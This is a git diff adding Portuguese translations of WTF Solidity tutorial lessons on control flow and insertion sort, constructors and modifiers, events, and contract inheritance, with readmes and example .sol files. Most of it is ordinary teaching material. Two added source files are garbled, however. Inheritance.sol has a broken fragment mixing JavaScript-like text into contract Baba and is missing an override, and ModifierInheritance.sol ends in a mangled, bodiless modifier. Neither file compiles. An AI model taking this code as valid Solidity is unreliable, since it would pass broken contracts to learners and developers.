Solidity e depois explicar como implementar a ordenação por inserção (Insertion Sort) em Solidity, um algoritmo que parece simples, mas é fácil introduzir erros. + +## Fluxo de Controle + +O controle de fluxo em Solidity é semelhante a outras linguagens e inclui as seguintes estruturas: + +1. `if-else` + + ```solidity + function ifElseTest(uint256 _number) public pure returns(bool){ + if(_number == 0){ + return(true); + } else { + return(false); + } + } + ``` + +2. `for` + + ```solidity + function forLoopTest() public pure returns(uint256){ + uint sum = 0; + for(uint i = 0; i < 10; i++){ + sum += i; + } + return(sum); + } + ``` + +3. `while` + + ```solidity + function whileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + while(i < 10){ + sum += i; + i++; + } + return(sum); + } + ``` + +4. `do-while` + + ```solidity + function doWhileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + do{ + sum += i; + i++; + } while(i < 10); + return(sum); + } + ``` + +5. Operador ternário + + O operador ternário é o único operador em Solidity que aceita três operandos e segue a regra `condição? expressão se verdadeira: expressão se falsa`. É frequentemente utilizado como uma forma abreviada de uma instrução `if`. + + ```solidity + // Operador ternário + function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ + // retorna o maior entre x e y + return x >= y ? x: y; + } + ``` + +Além disso, existem palavras-chave `continue` (avançar para a próxima iteração) e `break` (sair do loop atual) que podem ser utilizadas. + +## Implementando a Ordenação por Inserção em Solidity + +**Aviso: Mais de 90% das pessoas cometem erros ao escrever algoritmos de ordenação em Solidity.** + +### Ordenação por Inserção + +O objetivo dos algoritmos de ordenação é ordenar uma lista de números em ordem crescente, por exemplo `[2, 5, 3, 1]`. A ordenação por inserção (Insertion Sort) é um dos algoritmos de ordenação mais simples e geralmente é o primeiro algoritmo que as pessoas aprendem. A sua lógica é simples: iterar sobre a lista e comparar cada elemento com os elementos anteriores, movendo-os para a posição correta. Veja a ilustração: + +![Ordenação por Inserção](https://i.pinimg.com/originals/92/b0/34/92b034385c440e08bc8551c97df0a2e3.gif) + +### Código em Python + +Antes de implementar em Solidity, vejamos o código em Python para a ordenação por inserção: + +```python +# Programa em Python para a implementação da Ordenação por Inserção +def insertionSort(arr): + for i in range(1, len(arr)): + key = arr[i] + j = i-1 + while j >= 0 and key < arr[j]: + arr[j+1] = arr[j] + j -= 1 + arr[j+1] = key + return arr +``` + +### Implementação Incorreta em Solidity + +Com apenas 8 linhas de código em Python, o algoritmo de ordenação por inserção parece simples. Ao transcrevê-lo para Solidity em apenas 9 linhas de código, ocorre um erro: + +``` solidity + // Ordenação por Inserção - Versão Incorreta +function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i-1; + while( (j >= 0) && (temp < a[j])){ + a[j+1] = a[j]; + j--; + } + a[j+1] = temp; + } + return(a); +} +``` + +Ao executar o código no Remix e inserir `[2, 5, 3, 1]`, o programa apresenta um erro! Depois de passar horas tentando encontrar o erro, sem sucesso, pesquisei "solidity insertion sort" e descobri que os tutoriais online de algoritmos de ordenação em Solidity estavam incorretos, como este: [Sorting in Solidity without Comparison](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d) + +### Implementação Correta da Ordenação por Inserção em Solidity + +Depois de algumas horas e da ajuda de um amigo do grupo de aprendizagem, finalmente encontrei o erro. O problema é que em Solidity, o tipo de variável mais comum é `uint` (inteiro não negativo), o que pode causar um erro de "underflow" ao tentar obter um valor negativo. No algoritmo de ordenação, a variável `j` pode chegar a `-1`, gerando um erro. + +Para resolver esse problema, precisamos garantir que `j` nunca possa ser negativo. Aqui está o código corrigido: + +```solidity +// Ordenação por Inserção - Versão Correta +function insertionSort(uint[] memory a) public pure returns(uint[] memory) { + // Observe que uint não pode ter valor negativo + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i; + while( (j >= 1) && (temp < a[j-1])){ + a[j] = a[j-1]; + j--; + } + a[j] = temp; + } + return(a); +} +``` + +Depois de executar o código e inserir `[2, 5, 3, 1]`, o resultado foi o esperado. + +## Conclusão + +Nesta lição, discutimos o controle de fluxo em Solidity e implementamos o algoritmo de ordenação por inserção. Embora pareça simples, é fácil cometer erros. Este é o mundo de Solidity, cheio de armadilhas, onde projetos perdem milhões ou até bilhões de dólares devido a pequenos bugs como esse. Dominar os fundamentos e praticar constantemente ajudará a escrever um código Solidity de melhor qualidade. + diff --git a/Languages/pt-br/11_Modifier/Owner.sol b/Languages/pt-br/11_Modifier/Owner.sol new file mode 100644 index 000000000..d0b0ed8e7 --- /dev/null +++ b/Languages/pt-br/11_Modifier/Owner.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Owner { + // Definir a variável owner + + // Construtor + constructor() { + // Ao implantar o contrato, defina o proprietário como o endereço do implantador. + } + + // Definir modificador + modifier onlyOwner { + // Verificar se o chamador é o endereço do proprietário + // Se for o caso, continue executando o corpo da função; caso contrário, ocorrerá um erro e a transação será revertida. + } + + // Definir uma função com o modificador onlyOwner + function changeOwner(address _newOwner) external onlyOwner{ + // Apenas o endereço do proprietário pode executar esta função e alterar o proprietário + } +} diff --git a/Languages/pt-br/11_Modifier/img/11-1.jpg b/Languages/pt-br/11_Modifier/img/11-1.jpg new file mode 100644 index 000000000..4a3c39de3 Binary files /dev/null and b/Languages/pt-br/11_Modifier/img/11-1.jpg differ diff --git a/Languages/pt-br/11_Modifier/img/11-2.jpg b/Languages/pt-br/11_Modifier/img/11-2.jpg new file mode 100644 index 000000000..d5078886f Binary files /dev/null and b/Languages/pt-br/11_Modifier/img/11-2.jpg differ diff --git a/Languages/pt-br/11_Modifier/img/11-3.jpg b/Languages/pt-br/11_Modifier/img/11-3.jpg new file mode 100644 index 000000000..62ebbaf01 Binary files /dev/null and b/Languages/pt-br/11_Modifier/img/11-3.jpg differ diff --git a/Languages/pt-br/11_Modifier/readme.md b/Languages/pt-br/11_Modifier/readme.md new file mode 100644 index 000000000..21bedd175 --- /dev/null +++ b/Languages/pt-br/11_Modifier/readme.md @@ -0,0 +1,88 @@ +# WTF Introdução básica ao Solidity: 11. Construtores e Modificadores + +Recentemente, estou revisando Solidity para reforçar alguns detalhes e escrever uma "Introdução básica ao Solidity da WTF", para uso de iniciantes (programadores experientes podem buscar outros tutoriais). Atualização semanal de 1 a 3 palestras. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta palestra, vamos usar o exemplo do contrato de controle de permissão (`Ownable`) para apresentar os conceitos de construtores (`constructor`) e modificadores (`modifier`) exclusivos do Solidity. + +## Construtores + +Os construtores (`constructor`) são funções especiais que podem ser definidas em um contrato e são executadas automaticamente uma vez quando o contrato é implantado. Eles podem ser usados para inicializar alguns parâmetros do contrato, como definir o endereço do `owner`: + +```solidity +address owner; // Definindo a variável owner + +// Construtor +constructor() { + owner = msg.sender; // Define o owner como o endereço que implantou o contrato. +} +``` + +**Observação**⚠️: A sintaxe dos construtores varia de acordo com a versão do Solidity. Antes da versão 0.4.22, os construtores eram declarados com o mesmo nome do contrato, o que podia resultar em erros de digitação e, consequentemente, em construtores comuns. A partir da versão 0.4.22, a palavra-chave `constructor` é usada para definir o construtor. + +Exemplo de código do antigo estilo de construtor: + +```solidity +pragma solidity =0.4.21; + +contract Parents { + // O construtor tem o mesmo nome do contrato (método construtor antigo) + function Parents() public { + } +} +``` + +## Modificadores + +Os modificadores (`modifier`) são exclusivos do Solidity e são semelhantes aos decoradores em programação orientada a objetos. Eles declaram características que uma função deve possuir e ajudam a reduzir a redundância de código. Os modificadores são comuns para realizar verificações antes da execução de uma função, como verificar um endereço, uma variável ou um saldo. + +Vamos definir um modificador chamado `onlyOwner`: + +```solidity +// Definindo um modificador +modifier onlyOwner { + require(msg.sender == owner); // Verifica se o chamador é o owner + _; // Se for o owner, executa o corpo da função; caso contrário, reverte a transação +} +``` + +Uma função com o modificador `onlyOwner` só pode ser chamada pelo endereço do `owner`. Por exemplo: + +```solidity +function changeOwner(address _newOwner) external onlyOwner { + owner = _newOwner; // Apenas o owner pode chamar esta função e alterar o owner +} +``` + +Neste exemplo, a função `changeOwner` pode alterar o `owner` do contrato, mas somente o endereço original do `owner` pode chamar a função devido ao modificador `onlyOwner`. Este é um dos métodos mais comuns para controlar permissões em contratos inteligentes. + +### Implementação padrão de Ownable da OpenZeppelin + +A OpenZeppelin mantém uma biblioteca de códigos padronizados em Solidity e sua implementação padrão do `Ownable` pode ser encontrada em: [https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol) + +## Exemplo de demonstração no Remix + +Vamos considerar o arquivo `Owner.sol`. + +1. Compile e implante o contrato no Remix. +2. Clique no botão `owner` para ver o valor atual da variável `owner`. + + ![11-1](img/11-1.jpg) +3. Chame a função `changeOwner` com o endereço do `owner`. A transação será bem-sucedida. + + ![11-2](img/11-2.jpg) +4. Chame a função `changeOwner` com um endereço que não é o `owner`. A transação falhará devido à verificação do modificador `onlyOwner`. + + ![11-3](img/11-3.jpg) + +## Conclusão + +Nesta palestra, apresentamos os construtores e modificadores do Solidity, usando um exemplo do contrato `Ownable` para ilustrar o controle de permissões em contratos inteligentes. + diff --git a/Languages/pt-br/12_Event/Event.sol b/Languages/pt-br/12_Event/Event.sol new file mode 100644 index 000000000..aeba36d5b --- /dev/null +++ b/Languages/pt-br/12_Event/Event.sol @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract Events { + // Definir a variável de mapeamento _balances para registrar a quantidade de tokens detidos por cada endereço + mapping(address => uint256) public _balances; + + // Definir evento de Transferência, registrando o endereço de envio, o endereço de recebimento e a quantidade transferida da transação de transferência + event Transfer(address indexed from, address indexed to, uint256 value); + + + // Definir a função _transfer, que executa a lógica de transferência de fundos + function _transfer( + address from, + address to, + uint256 amount + ) external { + + // Dê alguns tokens iniciais para o endereço de transferência + + // Subtrair a quantidade de transferência do endereço de origem + // Adicione a quantidade de transferência ao endereço de destino + + // Liberar evento + emit Transfer(from, to, amount); + } +} diff --git a/Languages/pt-br/12_Event/img/12-1.jpg b/Languages/pt-br/12_Event/img/12-1.jpg new file mode 100644 index 000000000..60a1254b0 Binary files /dev/null and b/Languages/pt-br/12_Event/img/12-1.jpg differ diff --git a/Languages/pt-br/12_Event/img/12-2.jpg b/Languages/pt-br/12_Event/img/12-2.jpg new file mode 100644 index 000000000..18d7b6418 Binary files /dev/null and b/Languages/pt-br/12_Event/img/12-2.jpg differ diff --git a/Languages/pt-br/12_Event/img/12-3.png b/Languages/pt-br/12_Event/img/12-3.png new file mode 100644 index 000000000..34b149537 Binary files /dev/null and b/Languages/pt-br/12_Event/img/12-3.png differ diff --git a/Languages/pt-br/12_Event/readme.md b/Languages/pt-br/12_Event/readme.md new file mode 100644 index 000000000..3027a776e --- /dev/null +++ b/Languages/pt-br/12_Event/readme.md @@ -0,0 +1,92 @@ +# WTF Introdução Simples à Solidity: 12. Eventos + +Eu tenho revisado Solidity recentemente para consolidar os detalhes e estou escrevendo uma série de "WTF Introdução Simples à Solidity" para iniciantes (os programadores experientes podem procurar por outros tutoriais). Atualizo de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website WTF.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, usaremos uma transferência de tokens ERC20 como exemplo para apresentar os eventos (`event`) em Solidity. + +## Eventos + +Os eventos em Solidity são uma abstração dos logs na EVM e têm duas características principais: + +- Responsividade: Os aplicativos (como o [ethers.js](https://learnblockchain.cn/docs/ethers.js/api-contract.html#id18)) podem assinar e ouvir esses eventos através da interface RPC e responder a eles no frontend. +- Economia: Os eventos são uma forma econômica de armazenar dados na EVM, custando cerca de 2.000 `gas` por evento. Em comparação, armazenar uma nova variável na cadeia custa pelo menos 20.000 `gas`. + +### Declarando Eventos + +A declaração de um evento começa com a palavra-chave `event`, seguida pelo nome do evento e entre parênteses os tipos e nomes das variáveis que o evento registrará. Um exemplo é o evento `Transfer` do contrato de token ERC20: + +```solidity +event Transfer(address indexed from, address indexed to, uint256 value); +``` + +Neste exemplo, o evento `Transfer` registra 3 variáveis: `from`, `to` e `value`, que correspondem ao endereço do remetente do token, ao endereço do destinatário e à quantidade transferida. As variáveis `from` e `to` têm a palavra-chave `indexed` antes delas, o que significa que serão armazenadas nos `topics` do log da máquina virtual Ethereum, facilitando pesquisas futuras. + +### Emitted Events + +Podemos emitir eventos dentro de funções. No exemplo abaixo, cada vez que a função `_transfer()` é chamada para realizar uma transferência, o evento `Transfer` é emitido e as variáveis correspondentes são registradas. + +```solidity +function _transfer( + address from, + address to, + uint256 amount +) external { + + _balances[from] = 10000000; // Dá ao endereço de transferência algum saldo inicial + + _balances[from] -= amount; // subtrai a quantidade transferida do endereço remetente + _balances[to] += amount; // adiciona a quantidade transferida ao endereço destinatário + + // Emite o evento + emit Transfer(from, to, amount); +} +``` + +## Log EVM + +A Máquina Virtual Ethereum (EVM) utiliza logs para armazenar eventos Solidity. Cada registro de log contém duas partes: os tópicos (`topics`) e os dados (`data`). + +### Tópicos + +A primeira parte do log são os tópicos, que são um array usado para descrever o evento e não pode ter mais do que 4 elementos. O primeiro elemento é a assinatura do evento (hash). Para o evento `Transfer` mencionado acima, o hash do evento é: + +```solidity +keccak256("Transfer(address,address,uint256)") + +//0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef +``` + +Além do hash do evento, os tópicos podem incluir até 3 parâmetros `indexed`, que são os endereços de transferência no caso do evento `Transfer`. + +### Dados + +Os parâmetros não marcados como `indexed` serão armazenados na parte de dados (`data`) do log e correspondem aos "valores" do evento. Esses parâmetros não podem ser pesquisados diretamente, mas podem armazenar dados de qualquer tamanho. Portanto, a parte de dados no log pode ser usada para armazenar estruturas de dados complexas, como arrays e strings, que excedem 256 bits. Mesmo que esses dados sejam armazenados na parte de tópicos como um hash, o espaço consumido na armazenagem por dados na parte de dados é menor do que nos tópicos. + +## Demonstração no Remix + +Vamos compilar e implantar o contrato `Event.sol`. + +Depois, chamaremos a função `_transfer`. + +### Consultando Eventos no Etherscan + +Vamos tentar realizar uma transferência de 100 tokens na rede de testes Rinkeby usando a função `_transfer()`. Podemos consultar os detalhes do evento no Etherscan: [link para a transação](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7). + +Clicando no botão `Logs`, podemos ver os detalhes do evento: + +![Detalhes do Evento](https://images.mirror-media.xyz/publication-images/gx6_wDMYEl8_Gc_JkTIKn.png?height=980&width=1772) + +Os `tópicos` contêm três elementos, sendo o `[0]` o hash do evento, o `1` e o `2` são informações dos dois parâmetros marcados como `indexed` que definimos, ou seja, os endereços do remetente e do destinatário da transferência. Os `dados` contêm o restante, ou seja, a quantia da transferência. + +## Conclusão + +Nesta lição, aprendemos como usar e consultar eventos em Solidity. Muitas ferramentas de análise blockchain, como a Nansen e a Dune Analysis, são baseadas em eventos. + diff --git a/Languages/pt-br/13_Inheritance/DiamondInheritance.sol b/Languages/pt-br/13_Inheritance/DiamondInheritance.sol new file mode 100644 index 000000000..e4d778bf4 --- /dev/null +++ b/Languages/pt-br/13_Inheritance/DiamondInheritance.sol @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +/* Árvore de herança: + Deus + / \ +Adão Eva + \ / +pessoas +*/ + +contract God { + event Log(string message); + + function foo() public virtual { + emit Log("God.foo called"); + } + + function bar() public virtual { + emit Log("God.bar called"); + } +} + +contract Adam is God { + function foo() public virtual override { + emit Log("Adam.foo called"); + super.foo(); + } + + function bar() public virtual override { + emit Log("Adam.bar called"); + super.bar(); + } +} + +contract Eve is God { + function foo() public virtual override { + emit Log("Eve.foo called"); + super.foo(); + } + + function bar() public virtual override { + emit Log("Eve.bar called"); + super.bar(); + } +} + +contract people is Adam, Eve { + function foo() public override(Adam, Eve) { + super.foo(); + } + + function bar() public override(Adam, Eve) { + super.bar(); + } +} diff --git a/Languages/pt-br/13_Inheritance/Inheritance.sol b/Languages/pt-br/13_Inheritance/Inheritance.sol new file mode 100644 index 000000000..65ad4b396 --- /dev/null +++ b/Languages/pt-br/13_Inheritance/Inheritance.sol @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Contrato de herança +contract Yeye { + event Log(string msg); + + // Definir 3 funções: hip(), pop() e man(), com o valor de Log como Yeye. + function hip() public virtual{ + emit Log("Yeye"); + } + + function pop() public virtual{ + emit Log("Yeye"); + } + + function yeye() public virtual { + emit Log("Yeye"); + } +} + +contract Baba is Yeye{ + // class Baba extends hip() { + pop() { + co console.log("Baba") + } + } + function pop() public virtual override{ + emit Log("Baba"); + } + + function baba() public virtual{ + emit Log("Baba"); + } +} + +contract Erzi is Yeye, Baba{ + // Herda duas funções: hip() e pop(), e altera a saída para "Erzi". + function hip() public virtual override(Yeye, Baba){ + emit Log("Erzi"); + } + + function pop() public virtual override(Yeye, Baba) { + emit Log("Erzi"); + } + + function callParent() public{ + Yeye.pop(); + } + + function callParentSuper() public{ + super.pop(); + } +} + +// Herança de construtores +abstract contract A { + uint public a; + + constructor(uint _a) { + a = _a; + } +} + +contract B is A(1) { +} + +contract C is A { + constructor(uint _c) A(_c * _c) {} +} diff --git a/Languages/pt-br/13_Inheritance/ModifierInheritance.sol b/Languages/pt-br/13_Inheritance/ModifierInheritance.sol new file mode 100644 index 000000000..c1de4e1f1 --- /dev/null +++ b/Languages/pt-br/13_Inheritance/ModifierInheritance.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Base1 { + modifier exactDividedBy2And3(uint _a) virtual { + require(_a % 2 == 0 && _a % 3 == 0); + _; + } +} + +contract Identifier is Base1 { + + //Calcular o valor de um número dividido por 2 e por 3, mas o parâmetro fornecido deve ser um múltiplo de 2 e 3. + function getExactDividedBy2And3(uint _dividend) public exactDividedBy2And3(_dividend) pure returns(uint, uint) { + return getExactDividedBy2And3WithoutModifier(_dividend); + } + + //Calcular o valor de um número dividido por 2 e por 3 + function getExactDividedBy2And3WithoutModifier(uint _dividend) public pure returns(uint, uint){ + uint div2 = _dividend / 2; + uint div3 = _dividend / 3; + return (div2, div3); + } + + //Sobrescrevendo o modificador: Se não for sobrescrito, ao chamar getExactDividedBy2And3 com entrada 9, ocorrerá um revert, pois não passará na verificação. + //Remova as três linhas de comentário abaixo e reescreva o Modificador. Quando você digitar 9 e chamar getExactDividedBy2And3, a chamada será bem-sucedida. + // modifier exactDividedBy2And3(uint _a) override { + modifier exatoDivididoPor2E3(uint _a) override { + // } +} + diff --git a/Languages/pt-br/13_Inheritance/img/13-1.png b/Languages/pt-br/13_Inheritance/img/13-1.png new file mode 100644 index 000000000..273c7b9f0 Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-1.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-10.png b/Languages/pt-br/13_Inheritance/img/13-10.png new file mode 100644 index 000000000..b8a1d19c7 Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-10.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-2.png b/Languages/pt-br/13_Inheritance/img/13-2.png new file mode 100644 index 000000000..56ff8a1e4 Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-2.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-3.png b/Languages/pt-br/13_Inheritance/img/13-3.png new file mode 100644 index 000000000..d042dc6f7 Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-3.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-4.png b/Languages/pt-br/13_Inheritance/img/13-4.png new file mode 100644 index 000000000..51ea8945e Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-4.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-5.png b/Languages/pt-br/13_Inheritance/img/13-5.png new file mode 100644 index 000000000..a3af0e50e Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-5.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-6.png b/Languages/pt-br/13_Inheritance/img/13-6.png new file mode 100644 index 000000000..6a60e6f8d Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-6.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-7.png b/Languages/pt-br/13_Inheritance/img/13-7.png new file mode 100644 index 000000000..34c6ff81d Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-7.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-8.png b/Languages/pt-br/13_Inheritance/img/13-8.png new file mode 100644 index 000000000..ca2e184f4 Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-8.png differ diff --git a/Languages/pt-br/13_Inheritance/img/13-9.png b/Languages/pt-br/13_Inheritance/img/13-9.png new file mode 100644 index 000000000..68e611f60 Binary files /dev/null and b/Languages/pt-br/13_Inheritance/img/13-9.png differ diff --git a/Languages/pt-br/13_Inheritance/readme.md b/Languages/pt-br/13_Inheritance/readme.md new file mode 100644 index 000000000..41aad15cf --- /dev/null +++ b/Languages/pt-br/13_Inheritance/readme.md @@ -0,0 +1,289 @@ +--- +title: 13. Herança +tags: + - solidity + - básico + - wtfacademy + - herança +--- + +# WTF Solidity Introdução Simples: 13. Herança + +Recentemente, tenho estudado Solidity novamente para revisar os detalhes e escrever um "WTF Solidity Introdução Simples" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- +Nesta aula, vamos falar sobre herança no Solidity, incluindo herança simples, herança múltipla e herança de modificadores e construtores. + +## Herança + +A herança é uma parte importante da programação orientada a objetos, pois permite reduzir significativamente a repetição de código. Se considerarmos os contratos como objetos, o Solidity também é uma linguagem de programação orientada a objetos e suporta herança. + +### Regras + +- `virtual`: Se você deseja que uma função do contrato pai possa ser sobrescrita pelo contrato filho, é necessário adicionar a palavra-chave `virtual` à função do contrato pai. + +- `override`: Se o contrato filho sobrescrever uma função do contrato pai, é necessário adicionar a palavra-chave `override` à função do contrato filho. + +**Observação**: Ao usar `override` para modificar uma variável pública, a função `getter` com o mesmo nome será sobrescrita. Por exemplo: + +```solidity +mapping(address => uint256) public override balanceOf; +``` + +### Herança Simples + +Vamos começar escrevendo um contrato avô simples chamado `Yeye`, que contém um evento `Log` e três funções: `hip()`, `pop()` e `yeye()`, todas elas retornam "Yeye". + +```solidity +contract Yeye { + event Log(string msg); + + function hip() public virtual { + emit Log("Yeye"); + } + + function pop() public virtual { + emit Log("Yeye"); + } + + function yeye() public virtual { + emit Log("Yeye"); + } +} +``` + +Agora, vamos definir um contrato pai chamado `Baba`, que herda o contrato `Yeye`. A sintaxe para isso é `contract Baba is Yeye`, que é bastante intuitiva. No contrato `Baba`, vamos sobrescrever as funções `hip()` e `pop()` adicionando a palavra-chave `override` e alterando a saída para "Baba". Também adicionaremos uma nova função chamada `baba`, que também retorna "Baba". + +```solidity +contract Baba is Yeye { + function hip() public virtual override { + emit Log("Baba"); + } + + function pop() public virtual override { + emit Log("Baba"); + } + + function baba() public virtual { + emit Log("Baba"); + } +} +``` + +Ao implantar o contrato, podemos ver que o contrato `Baba` possui quatro funções. As funções `hip()` e `pop()` foram sobrescritas com sucesso para retornar "Baba", enquanto a função `yeye()` herdada ainda retorna "Yeye". + +### Herança Múltipla + +Os contratos no Solidity podem herdar de vários contratos. Aqui estão as regras: + +1. A ordem de herança deve ser da classe mais alta para a mais baixa. Por exemplo, se quisermos criar um contrato chamado `Erzi` que herda os contratos `Yeye` e `Baba`, devemos escrever `contract Erzi is Yeye, Baba` e não `contract Erzi is Baba, Yeye`, caso contrário, ocorrerá um erro. + +2. Se uma função estiver presente em vários contratos pai, como as funções `hip()` e `pop()` no exemplo, ela deve ser sobrescrita no contrato filho, caso contrário, ocorrerá um erro. + +3. Ao sobrescrever uma função que tem o mesmo nome em vários contratos pai, a palavra-chave `override` deve ser seguida pelos nomes de todos os contratos pai, por exemplo, `override(Yeye, Baba)`. + +Exemplo: + +```solidity +contract Erzi is Yeye, Baba { + function hip() public virtual override(Yeye, Baba) { + emit Log("Erzi"); + } + + function pop() public virtual override(Yeye, Baba) { + emit Log("Erzi"); + } +} +``` + +Podemos ver que o contrato `Erzi` sobrescreve as funções `hip()` e `pop()`, alterando a saída para "Erzi" e também herda as funções `yeye()` e `baba()` dos contratos `Yeye` e `Baba`, respectivamente. + +### Herança de Modificadores + +Os modificadores no Solidity também podem ser herdados. O uso é semelhante à herança de funções, basta adicionar as palavras-chave `virtual` e `override` nos locais apropriados. + +```solidity +contract Base1 { + modifier exactDividedBy2And3(uint _a) virtual { + require(_a % 2 == 0 && _a % 3 == 0); + _; + } +} + +contract Identifier is Base1 { + + // Calcula os valores de um número dividido por 2 e por 3, mas o parâmetro deve ser um múltiplo de 2 e 3 + function getExactDividedBy2And3(uint _dividend) public exactDividedBy2And3(_dividend) pure returns(uint, uint) { + return getExactDividedBy2And3WithoutModifier(_dividend); + } + + // Calcula os valores de um número dividido por 2 e por 3 + function getExactDividedBy2And3WithoutModifier(uint _dividend) public pure returns(uint, uint){ + uint div2 = _dividend / 2; + uint div3 = _dividend / 3; + return (div2, div3); + } +} +``` + +O contrato `Identifier` pode usar diretamente o modificador `exactDividedBy2And3` do contrato pai no código ou substituí-lo usando a palavra-chave `override`: + +```solidity +modifier exactDividedBy2And3(uint _a) override { + _; + require(_a % 2 == 0 && _a % 3 == 0); +} +``` + +### Herança de Construtores + +Existem duas maneiras de um contrato filho herdar o construtor do contrato pai. Vamos dar um exemplo simples: o contrato pai `A` possui uma variável de estado `a` que é determinada pelos parâmetros do construtor: + +```solidity +// Herança de construtores +abstract contract A { + uint public a; + + constructor(uint _a) { + a = _a; + } +} +``` + +1. Ao herdar, declaramos os parâmetros do construtor pai, por exemplo: `contract B is A(1)` +2. No construtor do contrato filho, declaramos os parâmetros do construtor pai, por exemplo: + + ```solidity + contract C is A { + constructor(uint _c) A(_c * _c) {} + } + ``` + +### Chamando Funções do Contrato Pai + +Existem duas maneiras de um contrato filho chamar funções do contrato pai: chamada direta e uso da palavra-chave `super`. + +1. Chamada direta: O contrato filho pode chamar diretamente uma função do contrato pai usando o formato `nomeDoContratoPai.nomeDaFuncao()`, por exemplo `Yeye.pop()`. + + ```solidity + function callParent() public { + Yeye.pop(); + } + ``` + +2. Palavra-chave `super`: O contrato filho pode usar a palavra-chave `super.nomeDaFuncao()` para chamar a função do contrato pai mais próximo. A ordem de herança no Solidity é da direita para a esquerda na declaração, por exemplo, `contract Erzi is Yeye, Baba`, então `Baba` é o contrato pai mais próximo e `super.pop()` chamará `Baba.pop()` em vez de `Yeye.pop()`: + + ```solidity + function callParentSuper() public { + // Chamará a função do contrato pai mais próximo, Baba.pop() + super.pop(); + } + ``` + +### Herança de Diamante + +Na programação orientada a objetos, herança de diamante (ou herança em diamante) refere-se a uma classe derivada que tem duas ou mais classes base. + +Ao usar a palavra-chave `super` em uma cadeia de herança múltipla de diamante, é importante observar que o uso de `super` chamará todas as funções relevantes em cada contrato da cadeia de herança, e não apenas a função do contrato pai mais próximo. + +Vamos começar escrevendo um contrato chamado `God`, em seguida, escreveremos dois contratos `Adam` e `Eve` que herdam o contrato `God`. Por fim, criaremos um contrato chamado `people` que herda `Adam` e `Eve`, e cada contrato terá duas funções: `foo` e `bar`. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +/* Cadeia de herança: + God + / \ +Adam Eve + \ / +people +*/ + +contract God { + event Log(string message); + + function foo() public virtual { + emit Log("God.foo called"); + } + + function bar() public virtual { + emit Log("God.bar called"); + } +} + +contract Adam is God { + function foo() public virtual override { + emit Log("Adam.foo called"); + super.foo(); + } + + function bar() public virtual override { + emit Log("Adam.bar called"); + super.bar(); + } +} + +contract Eve is God { + function foo() public virtual override { + emit Log("Eve.foo called"); + super.foo(); + } + + function bar() public virtual override { + emit Log("Eve.bar called"); + super.bar(); + } +} + +contract people is Adam, Eve { + function foo() public override(Adam, Eve) { + super.foo(); + } + + function bar() public override(Adam, Eve) { + super.bar(); + } +} + +``` + +Neste exemplo, chamar `super.bar()` no contrato `people` chamará as funções `Eve`, `Adam` e, por fim, `God`. + +Embora `Eve` e `Adam` sejam contratos filhos de `God`, o contrato `God` só será chamado uma vez durante 